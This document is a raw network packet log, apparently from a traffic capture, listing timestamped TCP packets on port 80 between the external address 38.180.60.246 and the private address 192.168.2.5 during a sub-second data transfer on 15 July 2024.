Jul 15, 2024 00:48:22.658143044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658149004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658153057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658164024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658174038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658180952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658180952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658186913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658196926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658205986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658210993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658231020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658243895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.658966064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658977985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658986092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.658997059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659006119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659015894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659018040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659028053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659039974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659043074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659050941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659055948 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659060955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659070969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659080982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659085989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659090996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659101963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659112930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659112930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659123898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659132004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659135103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659146070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659161091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659187078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659933090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659946918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659956932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659969091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659981012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.659981966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.659991980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660001993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660010099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660022020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660032034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660037041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660043001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660053968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660062075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660065889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660075903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660085917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660088062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660098076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660111904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660128117 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660152912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660705090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660715103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660722971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660732031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660744905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660749912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660757065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660767078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660777092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660778046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660789967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660794020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660800934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660809994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660811901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660823107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660835028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660837889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660845995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660856009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660862923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660866022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660877943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660877943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660887957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.660903931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.660928011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661663055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661673069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661681890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661693096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661701918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661710024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661712885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661722898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661734104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661736012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661744118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661755085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661756039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661767960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661772966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661777973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.661787987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.661817074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662560940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662570953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662580967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662585974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662595987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662606001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662606955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662623882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662631989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662635088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662645102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662655115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662657976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662669897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662672997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662683010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662691116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662694931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662707090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.662715912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.662740946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663028002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663069963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663290977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663300991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663311958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663321018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663333893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663336039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663360119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663373947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663374901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663387060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663397074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663405895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663408995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663419962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663422108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663430929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663441896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663443089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663467884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663480997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663484097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663491011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663501024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.663511038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.663530111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664195061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664205074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664222002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664232016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664242029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664247990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664263964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664287090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664294958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664304972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664315939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664326906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664326906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664339066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664344072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664367914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664371014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664376020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664385080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664390087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664395094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.664408922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.664437056 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665060043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665069103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665079117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665085077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665096045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665102959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665107012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665117979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665129900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665133953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665158987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665302038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665312052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665334940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665359020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665555000 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665565968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665575027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665585041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665595055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665602922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665606976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665616989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665625095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665627956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665637970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665642023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665648937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665663958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665671110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665673971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665684938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665693998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665694952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665704966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665713072 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665715933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.665726900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.665754080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666465998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666476965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666486025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666506052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666516066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666516066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666526079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666532993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666536093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666546106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666555882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666557074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666579962 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666584969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666595936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666596889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666606903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666619062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666625023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666629076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666640043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666646957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666651011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666660070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666666985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666671038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666681051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666682005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.666697979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.666726112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.667378902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667388916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667397976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667407990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667417049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667427063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.667428017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667438030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667438984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.667449951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667462111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.667480946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.667969942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667987108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.667996883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668005943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668011904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668015957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668026924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668035030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668037891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668047905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668057919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668061018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668068886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668077946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668080091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668090105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668092966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668118954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668817997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668828964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668838024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668847084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668870926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668885946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668905020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668920994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668930054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668939114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668941021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668950081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668951035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668962002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668965101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.668972969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668982983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.668984890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669017076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669868946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669878960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669888020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669898987 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669909954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669919014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669919968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669930935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669943094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669946909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669956923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669958115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669967890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669976950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669986963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.669986963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.669996977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.670017004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.670032024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.670722961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.670733929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.670753956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.670770884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.670794964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.694883108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.694895983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.694905996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.694964886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.694977045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.694979906 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.694988012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695017099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695036888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:22.695167065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695178032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695188999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:22.695199966 CEST	80	49704	38.180.60.246	192.168.2.5
